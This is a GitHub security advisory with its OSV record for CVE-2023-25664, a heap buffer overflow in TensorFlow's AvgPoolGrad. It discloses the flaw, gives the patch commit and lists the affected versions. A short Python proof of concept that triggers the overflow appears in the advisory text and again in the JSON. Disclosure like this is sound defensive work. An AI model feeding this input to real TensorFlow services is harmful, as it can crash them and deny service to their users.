GHSA-6HG6-5C2Q-7RCR
Vulnerability from github – Published: 2023-03-24 21:58 – Updated: 2023-03-27 22:00
VLAI?
Summary
TensorFlow has Heap-buffer-overflow in AvgPoolGrad
Details
Impact
import os
os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'
import tensorflow as tf
print(tf.__version__)
with tf.device("CPU"):
ksize = [1, 40, 128, 1]
strides = [1, 128, 128, 30]
padding = "SAME"
data_format = "NHWC"
orig_input_shape = [11, 9, 78, 9]
grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)
res = tf.raw_ops.AvgPoolGrad(
ksize=ksize,
strides=strides,
padding=padding,
data_format=data_format,
orig_input_shape=orig_input_shape,
grad=grad,
)
Patches
We have patched the issue in GitHub commit ddaac2bdd099bec5d7923dea45276a7558217e5b.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by evn@google.com
Severity ?
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-25664"
],
"database_specific": {
"cwe_ids": [
"CWE-120",
"CWE-122"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-24T21:58:04Z",
"nvd_published_at": "2023-03-25T00:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n```python\nimport os\nos.environ[\u0027TF_ENABLE_ONEDNN_OPTS\u0027] = \u00270\u0027\nimport tensorflow as tf\nprint(tf.__version__)\nwith tf.device(\"CPU\"):\n ksize = [1, 40, 128, 1]\n strides = [1, 128, 128, 30]\n padding = \"SAME\"\n data_format = \"NHWC\"\n orig_input_shape = [11, 9, 78, 9]\n grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)\n res = tf.raw_ops.AvgPoolGrad(\n ksize=ksize,\n strides=strides,\n padding=padding,\n data_format=data_format,\n orig_input_shape=orig_input_shape,\n grad=grad,\n )\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ddaac2bdd099bec5d7923dea45276a7558217e5b](https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by \u003cevn@google.com\u003e\n",
"id": "GHSA-6hg6-5c2q-7rcr",
"modified": "2023-03-27T22:00:19Z",
"published": "2023-03-24T21:58:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6hg6-5c2q-7rcr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25664"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "TensorFlow has Heap-buffer-overflow in AvgPoolGrad "
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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